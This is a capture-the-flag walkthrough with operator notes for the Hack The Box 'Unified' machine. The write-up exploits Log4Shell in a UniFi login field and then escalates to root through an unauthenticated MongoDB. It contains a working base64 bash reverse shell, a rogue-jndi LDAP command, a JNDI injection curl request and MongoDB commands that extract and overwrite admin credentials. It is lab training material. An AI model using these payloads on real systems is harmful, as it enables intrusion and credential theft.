Unified - HTB Starting Point

Technical Walkthrough

Unified - HTB Starting Point Walkthrough

Target Info

• IP: <TARGET>
• OS: Linux
• Difficulty: Easy
• Vulnerability: Log4Shell (<secret redacted>) in UniFi Network Application
• Attacker IP: <TARGET>

Status: TARGET NOT SPAWNED

The target machine is not currently reachable. It needs to be spawned from the HTB Starting Point interface.

All tooling is prepared and ready on Pwnbox.

Phase 4: Foothold - Log4Shell Exploitation

Step 1: Generate reverse shell payload (base64)

echo 'bash -i >& /dev/tcp/<TARGET>/4444 0>&1' | base64
# Result: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My80NDQ0IDA+JjE=

Step 2: Start rogue-jndi LDAP server (Terminal 1)

java -jar /home/x08/unified/rogue-jndi/target/RogueJndi-1.1.jar \
  --command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" \
  --hostname <TARGET>

Step 3: Start netcat listener (Terminal 2)

nc -lvnp 4444

Step 4: Trigger Log4Shell via UniFi login (Terminal 3)

curl -sk -X POST 'https://<TARGET>:8443/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"<redacted>","remember":"${jndi:ldap://<TARGET>:1389/o=tomcat}","strict":true}'

Step 5: Catch reverse shell

• Shell arrives as unifi user
• Get user flag:

cat /home/michael/user.txt

Phase 5: Privilege Escalation via MongoDB

Step 1: Connect to MongoDB (no auth required)

mongosh --quiet <TARGET>:27117

Step 2: Extract admin credentials from UniFi database

use ace
db.admin.find().forEach(printjson)
// Look for x_shadow field (bcrypt hash)

Step 3: Option A - Overwrite admin password

// Generate new hash: mkpasswd -m sha-512 <password redacted>
db.admin.updateOne(
  {"name": "administrator"},
  {$set: {"x_shadow": "$6$<secret redacted>"}}
)

Step 3: Option B - Find SSH credentials in site settings

db.site.find().forEach(printjson)
// Look for x_ssh_username and x_ssh_password

Step 4: SSH as root

ssh root@<TARGET>
# Password found in MongoDB site settings

Step 5: Get root flag

cat /root/root.txt

Tools Prepared on Pwnbox

• /home/x08/unified/rogue-jndi/target/RogueJndi-1.1.jar - LDAP server for Log4Shell
• /home/x08/unified/exploit.sh - Automated exploitation script
• mongosh - MongoDB shell for post-exploitation
• nc - Netcat for reverse shell listener

Key Notes

• The remember field in the UniFi login POST is vulnerable to JNDI injection
• MongoDB on port 27117 has no authentication
• The UniFi ace database contains admin hashes and SSH credentials
• Root password is typically stored in site settings as the SSH password for managed devices

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

• Target IP: <TARGET>
• Target Name: Unified
• Target OS: Linux
• Difficulty: Easy (Starting Point)
• Pwnbox SSH: x08@<TARGET>
• Attacker VPN IP: <TARGET>
• Started: 2026-05-05

Attack Vector Summary

• UniFi Network Application (Java-based)
• Ports: 22 (SSH), 8080 (HTTP), 8443 (HTTPS), 6789, 27117 (MongoDB)
• Vulnerability: Log4Shell (<secret redacted>) in the remember parameter of login form
• Post-exploitation: MongoDB (no auth) on port 27117 stores UniFi admin creds
• Privesc: SSH credentials found in UniFi database or password reuse

Evidence Ledger

Phase 1: Recon

• Target not reachable. "No route to host" from Pwnbox. Machine needs to be spawned on HTB.
• All ports (22, 8080, 8443, 6789, 27117) show "filtered" in nmap -Pn scans.
• Rogue-jndi JAR built at: /home/x08/unified/rogue-jndi/target/RogueJndi-1.1.jar
• Exploit script ready at: /home/x08/unified/exploit.sh

RESUME <secret redacted>

When the target is spawned, run these commands in order:

1. Verify: nc -zv -w 3 <TARGET> 8443
2. Terminal 1 (LDAP): java -jar /home/x08/unified/rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" --hostname <TARGET>
3. Terminal 2 (Listener): nc -lvnp 4444
4. Terminal 3 (Trigger): curl -sk -X POST 'https://<TARGET>:8443/api/login' -H 'Content-Type: application/json' -d '{"username":"admin","password":"<redacted>","remember":"${jndi:ldap://<TARGET>:1389/o=tomcat}","strict":true}'

Phase 3: Synthesis (Pre-exploitation)

Based on pre-engagement intel:

1. Open services expected: SSH(22), HTTP(8080), HTTPS(8443), MongoDB(27117)
2. Attack path: Log4Shell JNDI injection in UniFi login -> reverse shell -> MongoDB cred extraction -> SSH as root
3. Backup path: Extract/crack UniFi admin hash from MongoDB, find SSH creds in site config

Phase 4: Foothold Plan

1. Confirm port 8443 is open (UniFi HTTPS login)
2. Set up rogue-jndi LDAP server on Pwnbox
3. Start netcat listener for reverse shell
4. Send POST to /api/login with JNDI payload in remember field
5. Catch shell as unifi user
6. Get user.txt

Phase 5: Privesc Plan

1. Connect to MongoDB on localhost:27117 (no auth)
2. Query ace database for admin credentials
3. Either crack the x_shadow hash or overwrite it
4. Look for SSH credentials in site settings
5. SSH as root or su to root
6. Get root.txt

Session Resume

Status: BLOCKED - Target Not Spawned

• Machine is not online. All ports return "Connection timed out" or "No route to host".
• Pwnbox (<TARGET>) is connected and VPN is active (<TARGET>).
• The issue is that the HTB Unified machine needs to be spawned from the web interface.

Current Access

• Pwnbox SSH: working
• Target: unreachable

Prepared Tooling (Ready on Pwnbox)

1. /home/x08/unified/rogue-jndi/target/RogueJndi-1.1.jar - Built and ready
2. /home/x08/unified/exploit.sh - Automated trigger script
3. mongosh available for post-exploitation

Next Three Actions (When Target is Up)

1. Verify target: nc -zv -w 3 <TARGET> 8443
2. Run full nmap: sudo nmap -Pn -sS -sC -sV -p 22,8080,8443,6789,27117 <TARGET>
3. Launch Log4Shell attack:

- Start rogue-jndi LDAP server with reverse shell payload

- Start nc listener on port 4444

- Send JNDI payload via curl to /api/login remember field

1. Post-exploitation: Query MongoDB for creds, get user.txt, escalate to root

Blockers

• Target machine not spawned on HTB platform
• User needs to go to HTB Starting Point web interface and click "Spawn Machine" for Unified

Reverse Shell Payload (pre-encoded)

• Clear: bash -i >& /dev/tcp/<TARGET>/4444 0>&1
• Base64: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My80NDQ0IDA+JjE=
• Full JNDI command for rogue-jndi: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

Notes

Scope

• Platform: Hack The Box
• Machine: Unified
• Difficulty: Easy
• Target IP: <TARGET>
• Primary web surface: https://<TARGET>:8443/
• Pwnbox SSH: x08@<TARGET>
• Attacker VPN IP: <TARGET>
• Session date: 2026-05-05

Local Workspace

• Local dir: <local workspace><TARGET>-Unified
• Remote dir: /home/x08/Desktop/<TARGET>-Unified
• Sensitive artifacts: store only under remote loot/ and local loot/

Recon Synthesis

• Confirmed services from handoff: 22/tcp, 8080/tcp, 8443/tcp
• Confirmed application: UniFi 6.4.54
• Confirmed exploit path: Log4Shell <secret redacted> through POST /api/login remember field
• Confirmed code execution indicators: outbound LDAP to rogue JNDI and outbound HTTP callbacks to attacker-controlled server
• Initial blocker from prior operator state: no stable reverse shell on previously tested ports despite proven RCE
• Resolved path: reuse prior blind-exfil output from Mongo to recover SSH credentials, then validate live root SSH and read both flags directly

Evidence Ledger

Working Hypotheses

1. Outbound connectivity is constrained, but attacker-controlled HTTP and LDAP are reachable from the target.
2. A blind RCE path is enough for this box if Mongo data or SSH credentials can be exfiltrated through HTTP callbacks rather than an interactive reverse shell.
3. If outbound arbitrary TCP is blocked, command output can likely be returned through attacker web requests, staged file reads, or by modifying UniFi/Mongo state.

Outcome

• user.txt captured live and stored at [loot/user.txt](<local workspace><TARGET>-Unified/loot/user.txt)
• root.txt captured live and stored at [loot/root.txt](<local workspace><TARGET>-Unified/loot/root.txt)
• Clean live proof of root SSH and both flag reads stored at [loot/root-ssh-verify.txt](<local workspace><TARGET>-Unified/loot/root-ssh-verify.txt)
• Pwnbox listener state recorded at [enum/pwnbox-validation.txt](<local workspace><TARGET>-Unified/enum/pwnbox-validation.txt)

Notes

Scope

• Target IP: <TARGET>
• Machine Name: Unified
• Difficulty: Easy
• OS: Linux
• Attacker IP: <TARGET> (tun0)
• Pwnbox: x08@<TARGET> (htb-qwh8vkuint)
• Date: 2026-05-05

Evidence Ledger